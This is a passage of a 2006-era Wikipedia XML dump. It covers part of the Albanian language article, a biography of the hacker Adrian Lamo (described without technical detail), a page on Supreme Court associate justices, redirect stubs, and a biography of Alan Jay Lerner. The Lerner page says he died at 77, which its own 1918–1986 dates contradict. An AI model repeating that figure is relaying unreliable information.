|-
| {{IPA|dz}} || [[Voiced alveolar affricate]] || x || goo{{bold dark red|ds}}
|-
| {{IPA|tʃ}} || [[Voiceless postalveolar affricate]] || ç || {{bold dark red|ch}}op
|-
| {{IPA|dʒ}} || [[Voiced postalveolar affricate]] || xh || {{bold dark red|j}}et
|-
| {{IPA|θ}} || [[Voiceless dental fricative]] || th || {{bold dark red|th}}in
|-
| {{IPA|ð}} || [[Voiced dental fricative]] || dh || {{bold dark red|th}}is
|-
| {{IPA|f}} || [[Voiceless labiodental fricative]] || f || {{bold dark red|f}}ar
|-
| {{IPA|v}} || [[Voiced labiodental fricative]] || v || {{bold dark red|v}}an
|-
| {{IPA|s}} || [[Voiceless alveolar fricative]] || s || {{bold dark red|s}}on
|-
| {{IPA|z}} || [[Voiced alveolar fricative]] || z || {{bold dark red|z}}ip
|-
| {{IPA|ʃ}} || [[Voiceless postalveolar fricative]] || sh || {{bold dark red|sh}}ow
|-
| {{IPA|ʒ}} || [[Voiced postalveolar fricative]] || zh || vi{{bold dark red|s}}ion
|-
| {{IPA|h}} || [[Voiceless glottal fricative]] || h || {{bold dark red|h}}at
|-
| {{IPA|m}} || [[Bilabial nasal]] || m || {{bold dark red|m}}an
|-
| {{IPA|n}} || [[Alveolar nasal]] || n || {{bold dark red|n}}ot
|-
| {{IPA|ɲ}} || [[Palatal nasal]] || nj || {{bold dark red|n}}ew
|-
| {{IPA|l}} || [[Alveolar lateral approximant]] || l || {{bold dark red|l}}aw
|-
| {{IPA|j}} || [[Palatal approximant]] || j || {{bold dark red|y}}es
|-
| {{IPA|ɫ}} || [[Velarized alveolar lateral approximant]] || ll || mi{{bold dark red|l}}k
|-
| {{IPA|r}} || [[Alveolar trill]] || rr || [[Spanish language|Spanish]] hie{{bold dark red|rr}}o
|-
| {{IPA|ɾ}} || [[Alveolar tap]] || r || [[Spanish language|Spanish]] a{{bold dark red|r}}o
|}

'''Notes:'''
*The affricates are pronounced as one sound (a stop and a fricative at the same point).
*The palatal stops ''q'' and ''gj'' are completely unknown to English, so the pronunciation guide is approximate. Palatal stops can be found in other European languages, for example, in [[Hungarian language|Hungarian]] (where these sounds are spelt ''ty'' and ''gy'' respectively).
*The palatal nasal ''nj'' corresponds to the sound of the Spanish ''ñ'' or the French or Italian digraph ''gn'' (as in ''gnocchi''). It is pronounced as one sound, not a nasal plus a glide.
*The ''ll'' sound is a velarised lateral, close to English &quot;[[dark L]]&quot;.
*The contrast between flapped ''r'' and trilled ''rr'' is the same as in Spanish. English does not have any of the two sounds phonemically (but ''tt'' in ''butter'' is pronounced as a flap ''r'' in  most American dialects).
*(1) The letter ''ç'' can be spelt ''ch'' on American English keyboards, both due to its English sound, but more importantly, due to analogy with Albanian ''xh, sh, zh.'' (Usually, however, it's spelt simply ''c'', which may cause confusion; however, meanings are usually understood).

===Vowels===
{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
![[International Phonetic Alphabet|IPA]] !! Description !! Written as !! Pronounced as in
|-
| {{IPA|i}} || [[Close front unrounded vowel]] || i || b{{bold dark red|ea}}d
|-
| {{IPA|ɛ}} || [[Open-mid front unrounded vowel]] || e || b{{bold dark red|e}}d
|-
| {{IPA|a}} || [[Open front unrounded vowel]] || a || c{{bold dark red|a}}r
|-
| {{IPA|ə}} || [[Schwa]] || ë || {{bold dark red|a}}lone
|-
| {{IPA|ɔ}} || [[Open-mid back rounded vowel]] || o || f{{bold dark red|ou}}r
|-
| {{IPA|y}} || [[Close front rounded vowel]] || y || h{{bold dark red|u}}rt
|-
| {{IPA|u}} || [[Close back rounded vowel]] || u || d{{bold dark red|oo}}m
|}

==Grammar==
Albanian [[noun]]s are [[inflection|inflected]] by [[Grammatical gender|gender]] ([[masculine]], [[feminine]] and [[neuter]]) and [[Grammatical number|number]] ([[singular]] and [[plural]]). There are 4 [[declension]]s with 5 cases ([[nominative]], [[dative]], [[accusative]], [[ablative]] and [[vocative]]), although the vocative only occurs with a limited number of words. The cases apply to both definite and indefinite nouns and there are numerous cases of [[syncretism]]. The equivalent of a [[genitive]] is formed by using the prepositions ''i/e/të/së'' with the dative. 

The following shows the declension of the masculine noun ''mal'' (mountain):

{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
! !! '''Indefinite Singular''' !! '''Indefinite Plural''' !! '''Definite Singular''' !! '''Definite Plural'''
|-
| '''[[Nominative]]''' || mal (mountain) || male (mountains) || mali (the mountain) || malet (the mountains)
|-
| '''[[Accusative]]''' || mal || male || malin || malet
|-
| '''[[Genitive]]''' || i/e/të/së mali || i/e/të/së maleve || i/e/të/së malit || i/e/të/së maleve
|-
| '''[[Dative]]''' || mali || maleve || malit || maleve
|-
| '''[[Ablative]]''' || mali || maleve/malesh || malit || maleve
|}

The following table shows the declension of the feminine noun ''vajzë'' (girl)

{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
! !! '''Indefinite Singular''' !! '''Indefinite Plural''' !! '''Definite Singular''' !! '''Definite Plural'''
|-
| '''[[Nominative]]''' || vajzë (girl) || vajza (girls) || vajza (the girl) || vajzat (the girls)
|-
| '''[[Accusative]]''' || vajzë || vajza || vajzën || vajzat
|-
| '''[[Genitive]]''' || i/e/të/së vajze || i/e/të/së vajzave || i/e/të/së vajzës || i/e/të/së vajzave
|-
| '''[[Dative]]''' || vajze || vajzave || vajzës || vajzave
|-
| '''[[Ablative]]''' || vajze || vajzave/vajzash || vajzës || vajzave
|}

The article can be posited either before or after the noun as in many other [[Balkan languages]], for example [[Romanian language|Romanian]] and [[Bulgarian language|Bulgarian]].

* The definite article can be in the form of noun suffixes, which vary with gender and case. 
** For example in singular nominative, masculine nouns add ''-i'' or ''-u'': 
*** ''mal'' (mountain) / ''mali'' (the mountain); 
*** ''libër'' (book) / ''libri'' (the book); 
*** ''zog'' (bird) / ''zogu'' (the bird). 
** Feminine nouns take the suffix ''-(j)a'': 
*** ''veturë'' (car) / ''vetura'' (the car); 
*** ''shtëpi'' (house) / ''shtëpia'' (the house); 
*** ''lule'' (flower) / ''lulja'' (the flower). 
* Neuter nouns take ''-t''.

Albanian develops an analytical structure of the [[verb]]. Its complex system of [[mood]]s (6 types) and [[tense]]s (3 simple and 5 complex constructions) is distinguishing among other [[Balkan languages]]. There are two general types of [[Grammatical conjugation|conjugation]]. In Albanian the Constituent Order is [[Subject Verb Object]] and negation is expressed by the particles ''nuk'' or ''s''' in front of the verb, for example: 
* ''Toni nuk flet anglisht'' &quot;Tony doesn't speak English&quot;; 
* ''s'di'' &quot;don't know&quot;. 
In imperative sentences, the particle ''mos'' is used: 
* ''mos harro'' &quot;do not forget!&quot;.

==Vocabulary==
There are Albanian words which have cognates (of non-Latin origin) in [[Romanian language|Romanian]] and there is a theory that the language spoken by the [[Dacia]]ns before the Romanization was a language related to proto-Albanian.

Although there's no documentation on the Albanian language prior to the 15th century AD, it is widely assumed that [[Greek language|Greek]] and [[Balkan Latin]] (which was the ancestor of Romanian and other Balkan Romance languages), would exert a great influence on Albanian. Examples of words borrowed from Latin: ''qytet &lt; civitas'' (city), ''qiell &lt; caelum'' (sky), ''mik &lt; amicus'' (friend).

After the [[Slavs]] arrived in the [[Balkans]], another source of Albanian vocabulary were the [[Slavic languages]], especially [[Bulgarian language|Bulgarian]]. The rise of the [[Ottoman Empire]] meant an influx of [[Turkish language|Turkish]] words; this also entailed the borrowing of Persian and Arabic words through Turkish. Some loanwords from Modern Greek also exist especially in the south of Albania. Also due to the large population of [[Roma people|Roma Gypsies]] in Albania words such as &quot;jaan&quot; or &quot;xhan&quot;  in Albanian and [[Hindi]] mean the same thing which literally translates as &quot;my life&quot; or &quot;my soul&quot; but is also used to refer to a beloved one as &quot;darling&quot;

==Writing system==
:''Full article: [[Albanian alphabet]]''
Albanian has been written with many different alphabets since the 15th century. Originally, the Tosk dialect was written with the [[Greek alphabet]] and the Gheg dialect was written with the [[Latin alphabet]]. They have both also been written with the [[Ottoman Turkish language|Ottoman Turkish]] version of the [[Arabic alphabet]], the [[Cyrillic alphabet]], and some local alphabets.

The modern [[Albanian alphabet]] was standardised in [[1909]], and is based on the [[Latin alphabet]], with the addition of the letters ''ë'', ''ç'', and nine [[Digraph (orthography)|digraph]]s.

==History==
The place where the ancestors of today's Albanians lived in ancient Balkans is still uncertain, but they are usually identified with the ancient [[Illyrians]] or [[Thracians]]. The common vocabulary with Romanian suggests that the ancestors of the Albanians and Romanians lived close to each other in ancient times. Some scholars support a &quot;theory of continuity&quot;, which says that the Albanians lived in the territory of current Albania. However, the low number of [[Doric Greek]] words and the high number of Latin borrowings suggests that the Albanians have lived well north of the [[Jirecek Line]], which divided the spheres of influence of Latin and Greek languages.

The oldest surviving document written in Albanian is &quot;Formula e Pagëzimit&quot; (Baptismal formula), written in [[1462]] in the Gheg dialect, and some [[New Testament]] verses from that period.

The oldest known Albanian printed book, ''[[Meshari]]'' [http://www.albanianliterature.com/html/authors/prose/buzuku.html] or missal, was written by [[Gjon Buzuku]], a [[Catholic]] cleric, in [[1555]]. The first Albanian school is believed to have been opened by [[Franciscan]]s in [[1638]] in [[Pdhanë]]. In [[1635]], [[Frang Bardhi]] wrote the first Latin-Albanian dictionary.

==Examples==
{|
|Albanian||''shqip''||{{IPA|/ʃcip/}}||(shkEEp)||[[media:Albanian shqip.ogg|listen]]
|-
|hello||''tungjatjeta''||{{IPA|/ˌtun&amp;#x025F;aˈtj&amp;#603;ta/}}||(tUhn-ngIAt-IEta)||[[media:Albanian tungjatjeta.ogg|listen]]
|-
|good-bye||''mirupafshim''||{{IPA|/ˈmiruˌpaf&amp;#643;im/}}||(mEEr-Uh-pA-fshEEm)||[[media:Albanian mirupafshim.ogg|listen]]
|-
|please||''ju lutem''||{{IPA|/ju ˌluˈt&amp;#603;m/}}||(iU LU-tehm)||[[media:Albanian ju lutem.ogg|listen]]
|-
|thank you||''faleminderit''||{{IPA|/faˈl&amp;#603;minˌd&amp;#603;rit/}}||(fAh-leh-mEE-nde-rEEt)||[[media:Albanian faleminderit.ogg|listen]]
|-
|that one||''atë''||{{IPA|/ˌaˈtə/}}||(ATEH)||[[media:Albanian atë.ogg|listen]]
|-
|how much?||''sa është?''||{{IPA|/sa ˌə&amp;#643;ˈtə/}}||(sAh ush-te)||[[media:Albanian sa është.ogg|listen]]
|-
|English||''anglisht''||{{IPA|/ˈanˌgli&amp;#643;t/}}||(ahn-GLEE-sht)||[[media:Albanian anglisht.ogg|listen]]
|-
|yes||''po''||{{IPA|/po/}}||(POE)||[[media:Albanian po.ogg|listen]]
|-
|no||''jo''||{{IPA|/jo/}}||(IOH)||[[media:Albanian jo.ogg|listen]]
|-
|sorry||''më fal''||{{IPA|/mə fal/}}||(mUh FAL)||[[media:Albanian më fal.ogg|listen]]
|-
|I don't understand||''nuk kuptoj''||{{IPA|/nuk ˈkupˌtoj/}}||(nUhk KUP-toi)||[[media:Albanian nuk kuptoj.ogg|listen]]
|-
|where's the bathroom?||''ku është banjoja?''||{{IPA|/ku ˌə&amp;#643;ˈtə baˌ&amp;#626;oˈja/}}||(kuh ush-tEh bA-nio-jA)||[[media:Albanian ku është banjoja.ogg|listen]]
|-
|generic toast||''gëzuar''||{{IPA|/gəˌzuˈar/}}|| (gUh-zuh-ar)||[[media:Albanian gëzuar.ogg|listen]]
|-
|Do you speak English?||''flisni Anglisht?''||{{IPA|/ˈflisˌni ˈanˌgli&amp;#643;t/}}||(flee-snEE ahn-GLEE-sht)||[[media:Albanian flisni anglisht.ogg|listen]]
|}
''Note: All the sounds above are in the [[Ogg]] [[Vorbis]] format.''

The [[Islam]]ic [[shahadah]] in Albanian is ''Nuk ka Zot përveç Allahut, dhe Muhamedi është profet i Tij''.

'''MONTHS IN ALBANIAN'''

January- ''Janar''                                           
 
February- ''Shkurt''

March- ''Mars ''                                             

April- ''Prill''

May- ''Maj''                                                

June- ''Qershor''

July- ''Korrik''                                             

August- ''Gusht''

September- ''Shtator ''                                      

October- ''Tetor''

November- ''Nëntor''                                         
    
December- ''Dhjetor''


'''DAYS OF THE WEEK'''

e hënë- Monday

e martë- Tuesday

e mërkurë- Wednesday

e enjte- Thursday

e premte- Friday

e shtunë- Saturday

e diel- Sunday

'''OTHER PHRASES AND WORDS IN ALBANIAN'''

unë jam- i am

ti je- you are

ju jini- you are (formal)

ai/ajo është- he/ she is

ne jemi- we are

ju jeni- you are (plural)

ata/ato janë- they(m)/they(f) are 

më quajnë- my name is....

flisni anglisht?- do you speak English (formal)

flet anglisht- do you speak English (informal)

hajde këtu- come here

ik atje- go there

sa ështe ora- what time is it

si e ke emrin/ si te quajnë- what is your name (informal)

si e kini emrin/ si ju quajnë- what is your name (formal)

jam nga Amerika- I'm from America (a.k.a USA)

jam nga Kanadaja- I'm from Canada

nuk flas Shqip- I don't speak Albanian

flas pak Shqip- I speak little Albanian

==References==
*''[[Encyclopædia Britannica]], edition 15 ([[1985]]). Article: Albanian language''
* Isa Zemberi, ''Colloquial Albanian'', [[Routledge]], ISBN 0-415-05663-2

== See also ==
* [[Albanian Wikipedia]]

==External links==
{{Interwiki|code=sq}}
* [http://www.argjiro.net/fjalor English - Albanian Dictionary]
* [http://www.albanianoverview.com/ An overview of the Albanian language and culture]
* [http://www.single-serving.com/Albanian/ Albanian phrase guide]
* [http://www.ethnologue.com/show_family.asp?subid=90071 Ethnologue report on Albanian]
* [http://www.sprachprofi.de.vu/english/al.htm List of free online resources for learners]
* [http://language-directory.50webs.com/languages/albanian.htm List of online Albanian-related resources]
* [http://www.geocities.com/cezarkurti/ Albanian World] Learn Albanian here

Samples of various Albanian dialects:
* [http://www.language-museum.com/a/albanian-gheg.php Albanian (Gheg)]
* [http://www.language-museum.com/a/albanian-tosk.php Albanian (Tosk)]
* [http://www.language-museum.com/a/albanian-arbereshe.php Albanian (Arbëreshë)]
* [http://www.christusrex.org/www1/pater/JPN-arberishte.html Albanian (Arvanitika)]

Dictionaries:

* [http://www.argjiro.net/fjalor English - Albanian dictionary]
* [http://www.websters-online-dictionary.org/definition/Albanian-english/ English - Albanian dictionary]
* [http://www.fjalorturqisht.com/ Turkish - Albanian dictionary]
* [http://www.fjalor.de/ German - Albanian dictionary]

&lt;!-- Interlanguage links and categories --&gt;
[[Category:Languages of Albania]]
[[Category:Languages of Kosovo]]
[[Category:Languages of the Republic of Macedonia]]
[[Category:Languages of Italy]]
[[Category:Languages of Serbia and Montenegro]]
[[Category:Languages of Greece]]
[[Category:Languages of Turkey]]
[[Category:Albanian language]]
[[Category:Indo-European languages]]

[[ar:لغة ألبانية]]
[[ast:Albanés]]
[[bg:Албански език]]
[[be:Альбанская мова]]
[[bs:Albanski jezik]]
[[cs:Albánština]]
[[da:Albansk (sprog)]]
[[de:Albanische Sprache]]
[[et:Albaania keel]]
[[el:Αλβανική γλώσσα]]
[[es:Idioma albanés]]
[[eo:Albana lingvo]]
[[fr:Albanais]]
[[gl:Lingua albanesa]]
[[ko:알바니아어]]
[[id:Bahasa Albania]]
[[he:שפות אלבניות]]
[[ka:ალბანური ენა]]
[[kw:Albaynek]]
[[li:Albanees]]
[[hu:Albán nyelv]]
[[mk:Албански јазик]]
[[nl:Albanees]]
[[nds:Albaansche Spraak]]
[[ja:アルバニア語]]
[[nn:Albansk språk]]
[[pl:Język albański]]
[[pt:Língua albanesa]]
[[ro:Limba albaneză]]
[[ru:Албанский язык]]
[[se:Albánagiella]]
[[sq:Gjuha Shqipe]]
[[sl:Albanščina]]
[[fi:Albanian kieli]]
[[sv:Albanska]]
[[th:ภาษาแอลเบเนีย]]
[[tr:Arnavutça]]
[[zh:阿尔巴尼亚语]]</text>
    </revision>
  </page>
  <page>
    <title>Adrian Lamo</title>
    <id>3003</id>
    <revision>
      <id>41873674</id>
      <timestamp>2006-03-02T07:28:48Z</timestamp>
      <contributor>
        <ip>72.145.143.158</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Adrian Lamo, Fall '04.jpg|thumb|250px|Adrian Lamo in 2004.]]

'''Adrian Lamo''' (born 1981, in [[Boston, Massachusetts|Boston]], [[Massachusetts]]), is an infamous [[Grey hat|gray hat]] [[hacker]] best known, despite having no formal education in programming or computer security, for breaking into ''[[The New York Times]]'' computer network and his subsequent arrest. He is also known for attempting to identify security flaws in computer networks of [[Fortune 500]] companies and then notifying them of any found; while still illegal in most places without permission, this can be seen as a form of unsolicited [[Penetration test|penetration testing]].

==Personal==
Dubbed the &quot;homeless hacker&quot; for his transient lifestyle, Lamo spent parts of his travels squatting in abandoned buildings and travelling to Internet cafes, libraries and universities to investigate networks, and sometimes exploit security holes. Despite performing authorized and unauthorized [[Vulnerability assessment|vulnerability assessment]] for several large, high-profile entities, Lamo has refused to accept payment for his services. In the past, his lifestyle forced him to travel up and down the coasts of the [[United States]], often by coach, carrying all necessary possessions in a backpack. Since his sentencing, he has expressed an interest in [[journalism]], studying at [[American River College]], with work appearing in [[Network World]], [[Mobile Magazine]], [[2600 Magazine]], The American River Current, and others.

==Activities and techniques==
[[Image:Lmp.jpg|thumb|left|Adrian Lamo with contemporaries [[Kevin Poulsen]] and [[Kevin Mitnick]].]]

Adrian Lamo is perhaps best known for breaking into ''The New York Times'' internal computer network in February 2002, adding his name to confidential databases of expert sources, and using the paper's [[Lexis-Nexis|LexisNexis]] account to conduct research on high-profile subjects, although his first published activities involved operating [[AOL]] watchdog site [[Inside-AOL.com]]&lt;ref&gt;[http://archive.salon.com/tech/log/1999/07/01/inside_aol/]&lt;/ref&gt;&lt;ref&gt;[http://www.securityfocus.com/news/119]&lt;/ref&gt;&lt;ref&gt;[http://www.interesting-people.org/archives/interesting-people/200302/msg00182.html]&lt;/ref&gt;. The Times filed a complaint and a warrant for Lamo's arrest was issued in August 2003 following a 15 month investigation by federal prosecutors in New York. At 10:15 AM on [[September 9]], after spending a few days in hiding, he surrendered to the [[United_States_Marshals_Service|US Marshals]] in [[Sacramento, California]]. He re-surrendered to the [[Federal Bureau of Investigation|FBI]] in New York City on [[September 11]], and pleaded guilty to one count of [[computer crime|computer crimes]] against [[Microsoft]], [[Lexis-Nexis]] and the [[New York Times]] on [[8 January]], 2004. 

Later in 2004, Lamo was sentenced to six months' detention at his parents' home plus two years probation, and was ordered to pay roughly $65,000 in restitution.  He was convicted of compromising security at [[The New York Times]] and [[Microsoft]], and is alleged to have admitted to exploiting security weaknesses at [[Excite@Home]]&lt;ref&gt;[http://news.com.com/2100-1001-261728.html]&lt;/ref&gt;, [[Yahoo!]]&lt;ref&gt;[http://www.securityfocus.net/news/254]&lt;/ref&gt;, [[Microsoft]], [[MCI|MCI WorldCom]]&lt;ref&gt;[http://www.securityfocus.org/news/296]&lt;/ref&gt;, [[Ameritech]] [[Cingular]] and has allegedly &lt;!-- where are these allegations? --&gt;violated network security at [[Time Warner|AOL Time Warner]], [[Bank of America]], [[Citigroup|Citigroup]], [[Mcdonald's]] and [[Sun Microsystems Inc.|Sun Microsystems]] {{fact}}. Lamo's techniques are largely unpublished but articles on his alleged intrusions reflect fewer examples of technical skill than of unusual coincidence. 

Critics have repeatedly labelled Lamo as a publicity seeker or common [[criminal]], claims that he has refused to publicly refute. When challenged for a response to allegations that he was glamorizing crime for the sake of publicity, his response was &quot;Anything I could say about my person or my actions would only cheapen what they have to say for themselves.&quot; When approached for comment during his criminal case, Lamo would frequently frustrate reporters with non sequiturs such as &quot;Faith manages&quot;&lt;ref&gt;[http://news.com.com/2008-1014_3-5076942.html]&lt;/ref&gt; and &quot;It was a beautiful day.&quot;&lt;ref&gt;[http://news.com.com/Judge+lifts+hacker's+PC+restrictions/2100-1002_3-5076124.html]&lt;/ref&gt; At his sentencing, Lamo expressed remorse&lt;ref&gt;[http://www.theregister.co.uk/2004/09/16/feds_on_lamo/]&lt;/ref&gt; for harm he had caused through his intrusions, with the court record quoting him as adding &quot;I want to answer for what I have done and do better with my life.&quot;

== References ==
&lt;references /&gt;
* [http://web.archive.org/web/20041013023310/http://www.techfocus.org/article4395.html Losing His Religion: Techfocus interviews Adrian Lamo] Bill Royle, TechFocus.
* [http://slashdot.org/article.pl?sid=04/04/09/1530212 Slashdot.org] Discussion regarding TechFocus interview [[09 April]] [[2004]].
* [http://www.securityfocus.com/news/9520 Feds say Lamo inspired other hackers] Kevin Poulsen, SecurityFocus [[16 September]] [[2004]].
* [http://www.newarchitect.com/documents/s=2415/na1202r/ Inside The Hacker Mind] Chris Null, New Architect December 2002.
* [http://www.securityfocus.com/news/340 New York Times Internal Network Hacked] Kevin Poulsen, SecurityFocus [[26 February]] [[2002]].
* [http://online.securityfocus.com/news/595 Lamo Bumped from NBC After Hacking Them] Kevin Poulsen, SecurityFocus [[27 August]] [[2002]].
* [http://securityfocus.com/news/6888 Adrian Lamo charged with computer crimes] Kevin Poulsen, SecurityFocus [[5 September]] [[2003]].
* [http://securityfocus.com/news/7771 Lamo Pleads Guilty to Times Hack] Kevin Poulsen, SecurityFocus [[8 January]] [[2004]].
* [[Off the Hook]] [http://www.2600.com/offthehook/2004/0404.html Interview - April 7, 2004]; with [[Eric_Corley|Emmanuel Goldstein]] and Bernie S. on the phone with Lamo's comments recorded [http://en.wikisource.org/wiki/OTH_Lamo_Transcript_20040407 here]
* [http://news.zdnet.com/2100-1009_22-5077078.html?tag=zdnnfd.main 'Homeless Hacker' speaks out] Tech News on ZDNet
* [http://www.wired.com/news/infostructure/0,1377,50811,00.html He Hacks by Day, Squats by Night] Noah Shachtman, Wired News [[6 March]] [[2002]].
* [http://www.hollywood.com/movies/detail/id/3462967 Hollywood.com] Preliminary documentation of [[Trigger Street Productions]] documentary involving Lamo.
* [http://www.businessweek.com/bwdaily/dnflash/mar2002/nf2002035_9312.htm BusinessWeek] Stop Him Before He Hacks Again

==See also==
* [[Computer insecurity]]
* [[Software bug]]
* [[Vulnerability (computer science)]]

==External links==
* [http://adrian.adrian.org Just Breathe] Adrian Lamo's personal site
* [http://video.google.com/videosearch?q=TechTV+Adrian+Lamo TechTV Video] Adrian Lamo interviews prior to arrest
* [http://freelamo.org Articles about Adrian Lamo dating back to 2001] at Freelamo.org

&lt;!-- Categories --&gt;
[[Category:1981 births|Lamo, Adrian]]
[[Category:American criminals|Lamo, Adrian]]
[[Category:American hackers|Lamo, Adrian]]
[[Category:American journalists|Lamo, Adrian]]
[[Category:Colombian-Americans|Lamo, Adrian]]
[[Category:Lesbian, gay, bisexual, or transgender people|Lamo, A]]
[[Category:Living people|Lamo, Adrian]]
[[Category:People from California|Lamo, Adrian]]
[[Category:People from Massachusetts|Lamo, Adrian]]

&lt;!-- Translations --&gt;
[[pl:Adrian Lamo]]</text>
    </revision>
  </page>
  <page>
    <title>Associate Justice of the Supreme Court of the United States</title>
    <id>3004</id>
    <revision>
      <id>40360187</id>
      <timestamp>2006-02-20T01:24:41Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">{{PoliticsUS}}
'''Associate Justices of the [[Supreme Court of the United States|United States Supreme Court]]''' are the members of that court other than the [[Chief Justice of the United States]].  Their number is determined by Congress and is currently eight, as set by the [[Judiciary Act of 1869]].  Associate Justices are nominated for service by the [[President of the United States]].  Their nominations are then referred to the [[United States Senate]] for confirmation.  If confirmed then, like other [[federal judge]]s, they serve for life and can only be removed by death, resignation or [[impeachment]].

Each of the Justices of the Supreme Court has a single vote in deciding the cases argued before it; the Chief Justice's vote counts no more than that of any other Justice. However, in drafting opinions, the Chief Justice assigns who writes the opinion in a case when the Chief is in the majority, and thus gets additional influence in case disposition. Otherwise, the senior justice in the majority assigns the writing of a decision.  Furthermore, the Chief Justice leads the discussion of the case among the justices. The Chief Justice has certain administrative responsibilities that the other Justices do not, and is paid slightly more ($208,100 vs. $199,200 [[as of 2005]] [http://money.cnn.com/2005/07/01/news/newsmakers/salary/]).

Associate justices have seniority by order of appointment, although the Chief Justice is always considered the most senior.  If two justices are appointed on the same day, the older is designated the senior justice of the two.  The senior associate justice is now [[John Paul Stevens]].  By tradition, when the Justices are in conference deliberating the outcome of cases before the Court, the justices state their views in reverse order of seniority.  If there is a knock at the conference room door, however, the junior justice (who sits closest to the door) must answer it.  

==See also==
*[[Associate Justice]]
*[[Chief Justice of the United States]]
*[[List of Justices of the Supreme Court of the United States]]
*[[List of Justices of the Supreme Court of the United States by court composition]]
*[[List of Justices of the Supreme Court of the United States by seat]]

==External links==

*[http://supct.law.cornell.edu/supct/cases/judges.htm Historic collection of Supreme Court decisions and biographies] indexed by judge name


[[Category:Supreme Court of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Apadrayva piercing</title>
    <id>3005</id>
    <revision>
      <id>21697786</id>
      <timestamp>2005-08-24T03:05:37Z</timestamp>
      <contributor>
        <username>Jusjih</username>
        <id>21887</id>
      </contributor>
      <comment>Fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Apadravya]]</text>
    </revision>
  </page>
  <page>
    <title>Ampallang piercing</title>
    <id>3006</id>
    <revision>
      <id>19607095</id>
      <timestamp>2005-07-25T23:33:26Z</timestamp>
      <contributor>
        <username>Plaintiger</username>
        <id>159177</id>
      </contributor>
      <comment>the term &quot;Ampallang piercing&quot; is redundant and not used in common parlance.</comment>
      <text xml:space="preserve">#REDIRECT [[Ampallang]]</text>
    </revision>
  </page>
  <page>
    <title>Albino</title>
    <id>3008</id>
    <revision>
      <id>15901383</id>
      <timestamp>2004-03-08T23:07:31Z</timestamp>
      <contributor>
        <username>Abassign</username>
        <id>50014</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Albinism]]</text>
    </revision>
  </page>
  <page>
    <title>Analcim</title>
    <id>3009</id>
    <revision>
      <id>18305397</id>
      <timestamp>2005-07-07T04:00:35Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <comment>redir -&gt; analcite. Misspelling of synonym analcime</comment>
      <text xml:space="preserve">#Redirect [[Analcite]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Jay Lerner</title>
    <id>3010</id>
    <revision>
      <id>40360198</id>
      <timestamp>2006-02-20T01:24:44Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Alan Jay Lerner''' ([[August 31]], [[1918]] &amp;ndash; [[June 14]], [[1986]]) was a [[Jewish-American]] [[Broadway theatre|Broadway]] [[lyricist]] and [[librettist]].

Lerner was born in [[New York City]] on [[August 31]], [[1918]], the son of Joseph Jay Lerner, the wealthy owner of a chain of dress stores (the [[Lerner Stores]]). He was educated at [[Bedales School]], [[Choate Rosemary Hall]], and [[Harvard]]. One of Lerner's school friends was [[John F. Kennedy]]. Lerner wrote for the [[Harvard University|Harvard]] annual [[Musical theatre|musical]]s and produced [[radio]] scripts after college.

In 1942 he was introduced to [[Austria|Austrian]] composer [[Frederic Loewe]], who needed a lyricist for an out-of-town musical. The Lerner/Loewe collaboration had begun. Their first major hit was ''[[Brigadoon]]'' (1947), a romantic fantasy set in a mystical Scottish village. In 1951 they wrote the less successful ''[[Paint Your Wagon]]''. That same year Lerner wrote the [[Academy Award|Oscar-winning]] [[screenplay]] for ''[[An American in Paris (Movie)|An American in Paris]]''. He had also written with [[Kurt Weill]] (the stage musical ''[[Love Life]]'') and [[Burton Lane]] (the movie musical ''[[Royal Wedding]]'').

After years of dead ends, Lerner and Loewe unveiled their masterpiece, ''[[My Fair Lady]]'', in [[1956]]. Their adaptation of ''[[Pygmalion (play)|Pygmalion]]'' retained [[George Bernard Shaw]]'s social commentary, and added unusally appropriate songs for the characters of [[Eliza Doolittle]] and [[Henry Higgins]], played originally by [[Julie Andrews]] and [[Rex Harrison]]. ''My Fair Lady'' set box-office records in [[New York]] and [[London]]; the eventual movie version won seven [[Academy Award|Oscar]]s. Lerner and Loewe's next work was the film musical hit ''[[Gigi (1958 film)|Gigi]]''. Their partnership cracked during the stress of ''[[Camelot (musical)|Camelot]]'' in [[1960]], with Loewe resisting Lerner's desire to direct as well as write. ''Camelot'' was a hit nonetheless, and became the symbol for President Kennedy's brief administration. 

Loewe retired to [[Palm Springs, California]] while Lerner went through a series of unsuccessful musicals with such esteemed composers as [[Andre Previn]], [[Leonard Bernstein]] and [[Charles Strouse]]. At the time of Lerner's death he had been approached to write lyrics for ''[[Les Misérables]]'' and ''[[The Phantom of the Opera]]''. In 1978 he published his [[autobiography]], ''The Street Where I Live.''

Throughout Lerner's career, his lyrics captured a sense of romantic yearning, and included witty references and occasional double entendres. His librettos had smart [[one-liner]]s but, for the most part, were structurally flawed.

Lerner was a suave, sophisticated gentleman with an addictive personality; for over 20 years he battled an [[amphetamine]] [[addiction]], and Lerner would marry eight times (one ex-wife quipped, &quot;Marriage is Alan's way of saying goodbye&quot;). The drugs and divorces cost him much of his money. When he died in 1986, he reportedly owed the [[US Internal Revenue Service|IRS]] over $1,000,000 (USD) in back taxes. Yet the only thing most remember about Lerner are his lyrics, among the most literate and passionate in 20th century popular music.

He died at the age of 77 on [[June 14]], [[1986]], from [[lung cancer]] in [[Manhattan]].

==External links==

* [http://www.ibdb.com/person.asp?ID=3945 Internet Broadway Database page for Alan Jay Lerner]

[[Category:1918 births|Lerner, Alan J.]]
[[Category:1986 deaths|Lerner, Alan J.]]
[[Category:Musical theatre librettists|Lerner, Alan Jay]]
[[Category:Musical theatre lyricists|Lerner, Alan Jay]]
[[Category:People from New York City|Learner, Alan Jay]]

[[de:Alan Jay Lerner]]
[[sv:Alan Jay Lerner]]</text>
    </revision>
  </page>
